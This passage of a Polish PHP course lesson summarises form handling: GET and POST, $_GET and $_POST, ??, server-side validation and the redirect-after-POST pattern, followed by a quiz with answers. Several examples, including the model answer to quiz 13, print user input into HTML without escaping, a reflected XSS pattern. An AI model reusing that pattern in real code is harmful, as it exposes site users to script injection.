<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">"Zadanie zostało dodane."   →  przekazane w adresie (?dodano=1) — widać je po każdym odświeżeniu i każdy może je "podrobić"
$imieUzytkownika, $login     →  wpisane na sztywno w index.php — TaskQuest nie wie, KTO z niego korzysta
wybrany widok listy          →  znika, gdy wejdziesz na stronę bez ?filtr=...</code></pre>



<p class="wp-block-paragraph">Potrzebujemy sposobu, żeby aplikacja <strong>pamiętała coś między kolejnymi żądaniami</strong> tego samego użytkownika — jego login, jednorazowy komunikat, ulubiony widok. To temat Lekcji 14: cookies i sesje.</p>
</details>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h1 class="wp-block-heading">PODSUMOWANIE LEKCJI</h1>



<h1 id="dodatek" class="wp-block-heading">W skrócie</h1>



<p class="wp-block-paragraph"><strong>Jak to w ogóle działa</strong></p>



<ul class="wp-block-list">
<li>Każde otwarcie strony to <strong>żądanie</strong> → PHP startuje <strong>od zera</strong> → odsyła <strong>odpowiedź</strong> → skrypt się kończy i wszystkie zmienne znikają. Dlatego dane trzeba przesyłać przy każdym żądaniu (w adresie albo w treści żądania).</li>



<li><strong>GET</strong> — dane w adresie, po <code class="prettyprint lang-sql" style="font-size: 0.85em;">?</code>, w parach <code class="prettyprint lang-sql" style="font-size: 0.85em;">klucz=wartość</code> rozdzielonych <code class="prettyprint lang-sql" style="font-size: 0.85em;">&amp;</code>. Trafiają do <code class="prettyprint lang-sql" style="font-size: 0.85em;">$_GET</code>.</li>



<li><strong>POST</strong> — dane w treści żądania, adres się nie zmienia. Trafiają do <code class="prettyprint lang-sql" style="font-size: 0.85em;">$_POST</code>.</li>



<li>Zasada na cały kurs: <strong>GET — gdy tylko czytamy. POST — gdy coś zmieniamy.</strong></li>
</ul>



<p class="wp-block-paragraph"><strong>Co wędruje z formularza do PHP</strong></p>



<ul class="wp-block-list">
<li>Kluczem w <code class="prettyprint lang-sql" style="font-size: 0.85em;">$_GET</code> / <code class="prettyprint lang-sql" style="font-size: 0.85em;">$_POST</code> jest <strong>atrybut <code class="prettyprint lang-sql" style="font-size: 0.85em;">name</code></strong>, nie <code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code>. Pole bez <code class="prettyprint lang-sql" style="font-size: 0.85em;">name</code> nie zostanie wysłane w ogóle.</li>



<li><strong>Wszystko, co przychodzi, jest tekstem</strong> — także z <code class="prettyprint lang-sql" style="font-size: 0.85em;">type="number"</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">type="date"</code> (data zawsze w formacie <code class="prettyprint lang-sql" style="font-size: 0.85em;">RRRR-MM-DD</code>, niezależnie od tego, jak przeglądarka ją wyświetla).</li>



<li>Pole <strong>niezaznaczone</strong> (<code class="prettyprint lang-sql" style="font-size: 0.85em;">checkbox</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">radio</code>) <strong>nie wysyła nic</strong> — klucza po prostu nie ma w tablicy. Dlatego sprawdzamy <code class="prettyprint lang-sql" style="font-size: 0.85em;">isset()</code> lub <code class="prettyprint lang-sql" style="font-size: 0.85em;">??</code>, zamiast porównywać wartość.</li>



<li>Żeby dotarł <strong>więcej niż jeden</strong> wybór, nazwa musi mieć nawiasy: <code class="prettyprint lang-sql" style="font-size: 0.85em;">name="food[]"</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;select name="hobby[]" multiple&gt;</code>. W PHP powstaje wtedy tablica.</li>



<li>Przycisk trafia do <code class="prettyprint lang-sql" style="font-size: 0.85em;">$_POST</code> tylko wtedy, gdy ma <code class="prettyprint lang-sql" style="font-size: 0.85em;">name</code> (<code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;button type="submit" name="przycisk"&gt;</code> → <code class="prettyprint lang-sql" style="font-size: 0.85em;">$_POST['przycisk']</code>).</li>
</ul>



<p class="wp-block-paragraph"><strong>Odbiór danych w PHP</strong></p>



<ul class="wp-block-list">
<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">$_SERVER['REQUEST_METHOD']</code> odróżnia pierwsze wejście na stronę (<code class="prettyprint lang-sql" style="font-size: 0.85em;">'GET'</code>) od wysłania formularza (<code class="prettyprint lang-sql" style="font-size: 0.85em;">'POST'</code>). Cała obsługa formularza siedzi w <code class="prettyprint lang-sql" style="font-size: 0.85em;">if ($_SERVER['REQUEST_METHOD'] === 'POST') { ... }</code>.</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">??</code> chroni przed <code class="prettyprint lang-sql" style="font-size: 0.85em;">Warning: Undefined array key</code>: <code class="prettyprint lang-sql" style="font-size: 0.85em;">$tytul = $_POST['tytul'] ?? '';</code>.</li>



<li><strong>Uwaga na pułapkę:</strong> <code class="prettyprint lang-sql" style="font-size: 0.85em;">??</code> reaguje tylko na <em>brak klucza</em> albo <code class="prettyprint lang-sql" style="font-size: 0.85em;">null</code>. Pusty tekst z formularza <strong>istnieje</strong>, więc <code class="prettyprint lang-sql" style="font-size: 0.85em;">$_POST['xp'] ?? 10</code> dla pustego pola da <code class="prettyprint lang-sql" style="font-size: 0.85em;">''</code>, a nie <code class="prettyprint lang-sql" style="font-size: 0.85em;">10</code>.</li>
</ul>



<p class="wp-block-paragraph"><strong>Sprawdzanie danych</strong></p>



<ul class="wp-block-list">
<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">required</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">min</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">max</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">maxlength</code> to wygoda dla użytkownika, <strong>nie ochrona</strong>: można dopisać <code class="prettyprint lang-sql" style="font-size: 0.85em;">novalidate</code>, usunąć atrybut w F12 albo wysłać dane bez przeglądarki. <strong>PHP zawsze sprawdza dane sam.</strong></li>



<li>Błąd użytkownika (pusty tytuł, XP = 500) → <strong>tablica komunikatów</strong> <code class="prettyprint lang-sql" style="font-size: 0.85em;">$bledy</code>, pokazana w całości. Awaria (nie ma pliku, nie da się zapisać) → <strong>wyjątek</strong> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">try</code> / <code class="prettyprint lang-sql" style="font-size: 0.85em;">catch</code>.</li>



<li>Rzutowanie <code class="prettyprint lang-sql" style="font-size: 0.85em;">(int)</code> nie jest walidacją: <code class="prettyprint lang-sql" style="font-size: 0.85em;">(int) "12abc"</code> daje <code class="prettyprint lang-sql" style="font-size: 0.85em;">12</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">(int) "dużo"</code> daje <code class="prettyprint lang-sql" style="font-size: 0.85em;">0</code>. Najpierw sprawdzamy format (np. <code class="prettyprint lang-sql" style="font-size: 0.85em;">preg_match('/^\d+$/', $xp)</code>), dopiero potem zakres.</li>
</ul>



<p class="wp-block-paragraph"><strong>Po zapisie</strong></p>



<ul class="wp-block-list">
<li>Odświeżenie strony powtarza ostatnie żądanie. Jeśli był to POST — zadanie dopisze się drugi raz. Ratunek to <strong>POST → przekierowanie → GET</strong>: <code class="prettyprint lang-sql" style="font-size: 0.85em;">header('Location: index.php?dodano=1'); exit;</code>.</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">header()</code> musi zostać wywołane <strong>przed</strong> wypisaniem czegokolwiek na stronę, a <code class="prettyprint lang-sql" style="font-size: 0.85em;">exit</code> jest konieczne — <code class="prettyprint lang-sql" style="font-size: 0.85em;">header()</code> sam nie przerywa skryptu.</li>



<li>Komunikat przekazany w adresie (<code class="prettyprint lang-sql" style="font-size: 0.85em;">?dodano=1</code>) każdy może wpisać ręcznie. To obejście do czasu poznania sesji (Lekcja 14).</li>



<li>POST <strong>nie jest tajny</strong> — dane widać w F12 → Sieć → Ładunek. Szyfruje HTTPS, nie metoda.</li>
</ul>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">Co trzeba umieć na INF.03?</h2>



<ul class="wp-block-list">
<li><strong>napisać formularz „wysyłający dane metodą bezpieczną do tego samego pliku”</strong> — w języku arkuszy CKE „metoda bezpieczna” to <strong>POST</strong> (dane nie pokazują się w adresie). Uwaga: to nie to samo co „szyfrowana” — o tym była mowa w lekcji;</li>



<li><strong>wysłać formularz do tego samego pliku</strong> — czyli pominąć atrybut <code class="prettyprint lang-sql" style="font-size: 0.85em;">action</code> albo wpisać w nim nazwę bieżącego pliku;</li>



<li><strong>zbudować pola z etykietami połączonymi z polem</strong> (<code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;label for="..."&gt;</code> + <code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code> w polu), w tym <strong>pole edycyjne typu numerycznego</strong> (<code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;input type="number"&gt;</code>) i <strong>listę rozwijaną</strong> (<code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;select&gt;</code>), której opcje są generowane skryptem PHP z danych z bazy;</li>



<li><strong>napisać odnośnik przesyłający parametr metodą GET do tej samej strony</strong> (<code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php?idKontynent=6</code>) i odczytać ten parametr w PHP;</li>



<li><strong>przyjąć wartość domyślną, gdy parametru brak</strong> — arkusz wprost tego wymaga („a w przypadku braku – wartością 6”). Arkusz podaje w tabeli funkcji <code class="prettyprint lang-sql" style="font-size: 0.85em;">isset($zmienna)</code>; w naszym kursie krótszym zapisem jest <code class="prettyprint lang-sql" style="font-size: 0.85em;">??</code>;</li>



<li><strong>uruchomić fragment skryptu tylko wtedy, gdy formularz został wysłany</strong> („działa tylko w przypadku, gdy z formularza zostały przesłane dane”) — <code class="prettyprint lang-sql" style="font-size: 0.85em;">isset($_POST['...'])</code> lub <code class="prettyprint lang-sql" style="font-size: 0.85em;">$_SERVER['REQUEST_METHOD'] === 'POST'</code>;</li>



<li><strong>przenieść dane z formularza do zapytania SQL</strong> (to już Lekcje 17–19, ale formularz z tej lekcji jest tam punktem wyjścia).</li>
</ul>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">Minimum, które powinno wejść w pamięć</h2>



<p class="wp-block-paragraph">Jeżeli masz zapamiętać tylko kilka rzeczy z tej lekcji, zapamiętaj te:</p>



<ol class="wp-block-list">
<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">name</code> w polu formularza = klucz w <code class="prettyprint lang-sql" style="font-size: 0.85em;">$_GET</code> / <code class="prettyprint lang-sql" style="font-size: 0.85em;">$_POST</code>. Bez <code class="prettyprint lang-sql" style="font-size: 0.85em;">name</code> pole nie istnieje dla PHP. <code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code> służy tylko etykiecie i CSS.</li>



<li>Z formularza przychodzą <strong>wyłącznie teksty</strong>. Liczbę trzeba sprawdzić samodzielnie, zanim się jej użyje.</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">if ($_SERVER['REQUEST_METHOD'] === 'POST')</code> — tylko w środku tego <code class="prettyprint lang-sql" style="font-size: 0.85em;">if</code> sięgamy po dane formularza.</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">$_POST['klucz'] ?? ''</code> zamiast gołego <code class="prettyprint lang-sql" style="font-size: 0.85em;">$_POST['klucz']</code>. Puste pole to nie brak klucza.</li>



<li>Niezaznaczonego checkboxa i radia <strong>nie ma</strong> w tablicy. Wiele wartości = <code class="prettyprint lang-sql" style="font-size: 0.85em;">name="cos[]"</code>.</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">required</code> / <code class="prettyprint lang-sql" style="font-size: 0.85em;">min</code> / <code class="prettyprint lang-sql" style="font-size: 0.85em;">max</code> da się obejść — <strong>PHP sprawdza wszystko jeszcze raz</strong>.</li>



<li>Błąd użytkownika → tablica <code class="prettyprint lang-sql" style="font-size: 0.85em;">$bledy</code> i formularz z zachowanymi danymi. Awaria → wyjątek.</li>



<li>GET do czytania (filtry, wyszukiwanie, linki), POST do zmieniania danych (dodawanie, logowanie).</li>



<li>Po udanym zapisie: <code class="prettyprint lang-sql" style="font-size: 0.85em;">header('Location: ...'); exit;</code> — inaczej F5 zapisze drugi raz.</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">header()</code> musi być przed jakimkolwiek <code class="prettyprint lang-sql" style="font-size: 0.85em;">echo</code> i przed HTML-em.</li>
</ol>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">Ściągawka – najważniejsze polecenia i składnia</h2>



<p class="wp-block-paragraph"><strong>Formularz</strong></p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;form method="post" action="dodaj-zadanie.php"&gt;   &lt;!-- brak action = ten sam plik --&gt;
    &lt;label for="tytul"&gt;Tytuł&lt;/label&gt;
    &lt;input type="text" id="tytul" name="tytul" value="&lt;?= $tytulZadania ?&gt;" maxlength="100" required&gt;

    &lt;textarea name="opis" rows="3"&gt;&lt;?= $opisZadania ?&gt;&lt;/textarea&gt;   &lt;!-- textarea NIE ma value --&gt;

    &lt;input type="date"   name="termin" value="&lt;?= $terminZadania ?&gt;"&gt;
    &lt;input type="number" name="xp" min="1" max="100" value="&lt;?= $xpZadania ?&gt;"&gt;

    &lt;input type="checkbox" name="zgoda" value="tak"&gt;            &lt;!-- pojedynczy --&gt;
    &lt;input type="checkbox" name="food&#91;]" value="pizza"&gt;         &lt;!-- wiele --&gt;
    &lt;input type="radio"    name="plec" value="k"&gt;
    &lt;select name="klasa"&gt;&lt;option value="1"&gt;1&lt;/option&gt;&lt;/select&gt;
    &lt;select name="hobby&#91;]" multiple size="4"&gt; ... &lt;/select&gt;
    &lt;input type="hidden" name="filtr" value="aktywne"&gt;

    &lt;button type="submit" name="przycisk"&gt;Wyślij&lt;/button&gt;
&lt;/form&gt;</code></pre>



<p class="wp-block-paragraph"><strong>Odbiór w PHP</strong></p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">$_GET&#91;'klucz']              // dane z adresu: strona.php?klucz=wartość
$_POST&#91;'klucz']             // dane z formularza method="post"
$_SERVER&#91;'REQUEST_METHOD']  // 'GET' albo 'POST'
$_FILES&#91;'plik']             // przesłany plik (formularz z enctype="multipart/form-data")

$tytul = $_POST&#91;'tytul'] ?? '';          // brak klucza → wartość domyślna
isset($_POST&#91;'przycisk'])                // czy klucz istnieje
is_array($_POST&#91;'food'] ?? null)         // czy przyszła tablica wartości
trim($tytul) === ''                      // puste pole (same spacje też)</code></pre>



<p class="wp-block-paragraph"><strong>Typowe wzorce</strong></p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">// 1. obsługa formularza tylko po wysłaniu
if ($_SERVER&#91;'REQUEST_METHOD'] === 'POST') {
    $tytul = trim($_POST&#91;'tytul'] ?? '');
    $xp    = trim($_POST&#91;'xp'] ?? '');

    $bledy = &#91;];
    if ($tytul === '')                 { $bledy&#91;] = "Tytuł jest wymagany."; }
    if (!preg_match('/^\d+$/', $xp))   { $bledy&#91;] = "XP musi być liczbą całkowitą."; }
    elseif ((int) $xp &lt; 1 || (int) $xp &gt; 100) { $bledy&#91;] = "XP musi być z zakresu 1–100."; }

    if (count($bledy) === 0) {
        // zapis + przekierowanie
    }
}

// 2. POST → przekierowanie → GET (F5 nie powtórzy zapisu)
header('Location: index.php?dodano=1');
exit;

// 3. parametr z adresu z wartością domyślną i listą dozwolonych wartości
$filtr = $_GET&#91;'filtr'] ?? 'wszystkie';
$lista = match ($filtr) {
    'aktywne'  =&gt; $aktywneZadania,
    'wykonane' =&gt; $wykonaneZadania,
    default    =&gt; $wszystkieZadania,
};

// 4. data poprawna kalendarzowo
checkdate(10, 2, 2026);   // miesiąc, dzień, rok → true/false</code></pre>



<p class="wp-block-paragraph"><strong>Pułapki</strong></p>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Zapis</th><th>Co się stanie</th></tr></thead><tbody><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;input type="text" id="xp"&gt;</code></td><td>brak <code class="prettyprint lang-sql" style="font-size: 0.85em;">name</code> → <code class="prettyprint lang-sql" style="font-size: 0.85em;">$_POST['xp']</code> nie istnieje</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">$_POST['xp'] ?? 10</code> przy pustym polu</td><td>wynik to <code class="prettyprint lang-sql" style="font-size: 0.85em;">''</code>, nie <code class="prettyprint lang-sql" style="font-size: 0.85em;">10</code></td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">(int) $_POST['xp']</code> bez sprawdzenia</td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">"12abc"</code> → <code class="prettyprint lang-sql" style="font-size: 0.85em;">12</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">"dużo"</code> → <code class="prettyprint lang-sql" style="font-size: 0.85em;">0</code></td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;textarea value="..."&gt;</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">textarea</code> nie ma <code class="prettyprint lang-sql" style="font-size: 0.85em;">value</code> — tekst wpisz między znacznikami</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">echo "OK"; header('Location: ...');</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">headers already sent</code>, przekierowanie nie zadziała</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">header('Location: ...')</code> bez <code class="prettyprint lang-sql" style="font-size: 0.85em;">exit</code></td><td>reszta skryptu nadal się wykona</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;a href="usun.php?id=3"&gt;</code></td><td>zmiana danych przez GET — zrobi to odświeżenie lub robot</td></tr></tbody></table></figure>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">Quiz – sprawdź się</h2>



<p class="wp-block-paragraph"><strong>1.</strong> Użytkownik wszedł pod adres <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php?filtr=aktywne&amp;strona=2</code>. Co dokładnie znajdzie się w <code class="prettyprint lang-sql" style="font-size: 0.85em;">$_GET</code> i jakiego typu są tam wartości?</p>



<p class="wp-block-paragraph"><strong>2.</strong> Pole wygląda tak: <code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;input type="text" id="tytul"&gt;</code>. Formularz wysłano metodą POST. Co zwróci <code class="prettyprint lang-sql" style="font-size: 0.85em;">$_POST['tytul'] ?? '(brak)'</code> i dlaczego?</p>



<p class="wp-block-paragraph"><strong>3.</strong> Formularz wysłano metodą POST z <strong>pustym</strong> polem <code class="prettyprint lang-sql" style="font-size: 0.85em;">xp</code>. Co wypisze kod?</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">$xp = $_POST&#91;'xp'] ?? 10;
var_dump($xp);</code></pre>



<p class="wp-block-paragraph"><strong>4.</strong> W formularzu jest <code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;input type="checkbox" name="zgoda" value="tak"&gt;</code>. Napisz warunek, który sprawdzi, czy użytkownik zaznaczył to pole. Dlaczego <code class="prettyprint lang-sql" style="font-size: 0.85em;">if ($_POST['zgoda'] === 'tak')</code> to zły pomysł?</p>



<p class="wp-block-paragraph"><strong>5.</strong> Uczeń chce odebrać wszystkie zaznaczone gatunki, ale w <code class="prettyprint lang-sql" style="font-size: 0.85em;">$_POST['gatunek']</code> jest zawsze tylko jedna wartość. Co trzeba zmienić?</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;input type="checkbox" name="gatunek" value="rock"&gt;
&lt;input type="checkbox" name="gatunek" value="pop"&gt;
&lt;input type="checkbox" name="gatunek" value="jazz"&gt;</code></pre>



<p class="wp-block-paragraph"><strong>6.</strong> Znajdź błąd:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;textarea name="opis" rows="3" value="&lt;?= $opisZadania ?&gt;"&gt;&lt;/textarea&gt;</code></pre>



<p class="wp-block-paragraph"><strong>7.</strong> Co zapisze ten kod dla wpisanego XP <code class="prettyprint lang-sql" style="font-size: 0.85em;">12abc</code>, a co dla <code class="prettyprint lang-sql" style="font-size: 0.85em;">dużo</code>? Jak to naprawić?</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">$xp = (int) ($_POST&#91;'xp'] ?? 0);
if ($xp &gt;= 1 &amp;&amp; $xp &lt;= 100) {
    $bledy = &#91;];
} else {
    $bledy&#91;] = "XP musi być z zakresu 1–100.";
}</code></pre>



<p class="wp-block-paragraph"><strong>8.</strong> Uzupełnij kod tak, aby wykonał się <strong>tylko</strong> po wysłaniu formularza:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">if ($_SERVER&#91;'____________'] === '______') {
    // obsługa formularza
}</code></pre>



<p class="wp-block-paragraph"><strong>9.</strong> Dla każdej operacji wybierz metodę (GET / POST) i uzasadnij jednym zdaniem: a) wyszukiwanie zadań po słowie, b) oznaczenie zadania jako wykonanego, c) logowanie, d) przełączenie widoku listy na „aktywne”.</p>



<p class="wp-block-paragraph"><strong>10.</strong> Dlaczego ten kod nie przekieruje użytkownika?</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">require_once 'includes/header.php';
zapiszZadania(PLIK_ZADAN, $zadania);
header('Location: index.php?dodano=1');
exit;</code></pre>



<p class="wp-block-paragraph"><strong>11.</strong> Po dodaniu zadania użytkownik naciska F5 i zadanie pojawia się w pliku drugi raz. Który mechanizm tego nie zastosowano i jak dokładnie wygląda jego kod?</p>



<p class="wp-block-paragraph"><strong>12.</strong> Formularz ma pole <code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;input type="number" name="xp" min="1" max="100" required&gt;</code>. Podaj dwa sposoby, w jakie użytkownik może mimo to wysłać <code class="prettyprint lang-sql" style="font-size: 0.85em;">xp=-50</code>. Co go zatrzyma?</p>



<p class="wp-block-paragraph"><strong>13. Zadanie praktyczne.</strong> Napisz w jednym pliku <code class="prettyprint lang-sql" style="font-size: 0.85em;">szukaj.php</code>: formularz wysyłany metodą GET z polem <code class="prettyprint lang-sql" style="font-size: 0.85em;">szukaj</code> i przyciskiem, a nad nim kod PHP, który — jeśli w adresie jest parametr <code class="prettyprint lang-sql" style="font-size: 0.85em;">szukaj</code> i nie jest pusty — wypisze <code class="prettyprint lang-sql" style="font-size: 0.85em;">Szukasz: &lt;fraza&gt;</code>, a w przeciwnym razie <code class="prettyprint lang-sql" style="font-size: 0.85em;">Wpisz szukane słowo.</code>. Po wyszukaniu wpisane słowo ma zostać w polu.</p>



<p class="wp-block-paragraph"><strong>14.</strong> W treści zadania egzaminacyjnego jest: „Formularz wysyłający dane metodą bezpieczną do tego samego pliku”. Jak wygląda znacznik <code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;form&gt;</code> spełniający ten wymóg?</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>Odpowiedzi</strong></summary>
<ol class="wp-block-list">
<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">['filtr' =&gt; 'aktywne', 'strona' =&gt; '2']</code> — tablica asocjacyjna, w której obie wartości są <strong>tekstami</strong> (również <code class="prettyprint lang-sql" style="font-size: 0.85em;">'2'</code>).</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">(brak)</code>. Pole bez atrybutu <code class="prettyprint lang-sql" style="font-size: 0.85em;">name</code> w ogóle nie zostaje wysłane, więc klucza <code class="prettyprint lang-sql" style="font-size: 0.85em;">tytul</code> w <code class="prettyprint lang-sql" style="font-size: 0.85em;">$_POST</code> nie ma; <code class="prettyprint lang-sql" style="font-size: 0.85em;">??</code> podstawia wartość domyślną.</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">string(0) ""</code>. Klucz <code class="prettyprint lang-sql" style="font-size: 0.85em;">xp</code> istnieje (pole zostało wysłane, tylko puste), więc <code class="prettyprint lang-sql" style="font-size: 0.85em;">??</code> się nie uruchamia. Pustkę trzeba sprawdzić osobno, np. <code class="prettyprint lang-sql" style="font-size: 0.85em;">trim($_POST['xp'] ?? '') === ''</code>.</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">if (isset($_POST['zgoda']))</code> (lub <code class="prettyprint lang-sql" style="font-size: 0.85em;">if (($_POST['zgoda'] ?? '') === 'tak')</code>). Niezaznaczony checkbox <strong>nie wysyła nic</strong>, więc odwołanie do <code class="prettyprint lang-sql" style="font-size: 0.85em;">$_POST['zgoda']</code> da <code class="prettyprint lang-sql" style="font-size: 0.85em;">Warning: Undefined array key</code>.</li>



<li>Nazwa musi być tablicowa: <code class="prettyprint lang-sql" style="font-size: 0.85em;">name="gatunek[]"</code> w każdym polu. Wtedy w <code class="prettyprint lang-sql" style="font-size: 0.85em;">$_POST['gatunek']</code> będzie tablica zaznaczonych wartości (a przy braku zaznaczeń — klucza nie będzie wcale).</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;textarea&gt;</code> nie ma atrybutu <code class="prettyprint lang-sql" style="font-size: 0.85em;">value</code>. Wartość wpisuje się między znacznikami: <code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;textarea name="opis" rows="3"&gt;&lt;?= $opisZadania ?&gt;&lt;/textarea&gt;</code>.</li>



<li>Dla <code class="prettyprint lang-sql" style="font-size: 0.85em;">12abc</code> <code class="prettyprint lang-sql" style="font-size: 0.85em;">(int)</code> da <code class="prettyprint lang-sql" style="font-size: 0.85em;">12</code> — kod uzna dane za poprawne i zapisze 12 XP, choć użytkownik wpisał śmieci. Dla <code class="prettyprint lang-sql" style="font-size: 0.85em;">dużo</code> da <code class="prettyprint lang-sql" style="font-size: 0.85em;">0</code> — użytkownik zobaczy komunikat o zakresie 1–100, mimo że nie wpisał żadnej liczby. Naprawa: najpierw sprawdzić format regexem <code class="prettyprint lang-sql" style="font-size: 0.85em;">preg_match('/^\d+$/', $xp)</code>, dopiero potem zakres.</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">$_SERVER['REQUEST_METHOD'] === 'POST'</code>.</li>



<li>a) GET — tylko czytanie, adres z wynikami da się zapisać w zakładkach i wysłać; b) POST — zmienia dane w pliku; c) POST — hasło w adresie trafiłoby do historii przeglądarki i logów serwera; d) GET — to wybór, co pokazać, niczego nie zmienia.</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">require_once 'includes/header.php'</code> wypisało już HTML, a nagłówki muszą pójść <strong>przed</strong> treścią. PHP zgłosi <code class="prettyprint lang-sql" style="font-size: 0.85em;">Warning: Cannot modify header information – headers already sent</code>. Przekierowanie musi znaleźć się przed dołączeniem nagłówka strony.</li>



<li>Wzorca POST → przekierowanie → GET. Po udanym zapisie: <code class="prettyprint lang-sql" style="font-size: 0.85em;">header('Location: index.php?dodano=1'); exit;</code> Ostatnim żądaniem staje się wtedy zwykłe GET, więc F5 tylko wyświetla stronę.</li>



<li>Np. dopisać do <code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;form&gt;</code> atrybut <code class="prettyprint lang-sql" style="font-size: 0.85em;">novalidate</code>, usunąć <code class="prettyprint lang-sql" style="font-size: 0.85em;">min</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">required</code> w F12 → Elementy, albo wysłać żądanie bez przeglądarki (np. <code class="prettyprint lang-sql" style="font-size: 0.85em;">curl</code>). Zatrzyma go dopiero sprawdzenie w PHP (<code class="prettyprint lang-sql" style="font-size: 0.85em;">walidujNoweZadanie()</code>).</li>



<li>Przykładowe rozwiązanie: <code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php $szukane = trim($_GET['szukaj'] ?? ''); if ($szukane !== '') { echo "&lt;p&gt;Szukasz: $szukane&lt;/p&gt;"; } else { echo "&lt;p&gt;Wpisz szukane słowo.&lt;/p&gt;"; } ?&gt; &lt;form method="get" action="szukaj.php"&gt; &lt;input type="text" name="szukaj" value="&lt;?= $szukane ?&gt;"&gt; &lt;button type="submit"&gt;Szukaj&lt;/button&gt; &lt;/form&gt;</code> Formularz wysyłany metodą GET, więc fraza zostaje w adresie (<code class="prettyprint lang-sql" style="font-size: 0.85em;">szukaj.php?szukaj=PHP</code>) i wraca do pola przez <code class="prettyprint lang-sql" style="font-size: 0.85em;">value</code>.</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;form method="post"&gt;</code> — „metoda bezpieczna” to POST, a brak atrybutu <code class="prettyprint lang-sql" style="font-size: 0.85em;">action</code> oznacza wysłanie do tego samego pliku (można też napisać <code class="prettyprint lang-sql" style="font-size: 0.85em;">action=""</code> albo wprost nazwę pliku, np. <code class="prettyprint lang-sql" style="font-size: 0.85em;">action="index.php"</code>).</li>
</ol>
</details>



<h2 class="wp-block-heading">ZADANIE NA OCENĘ</h2>



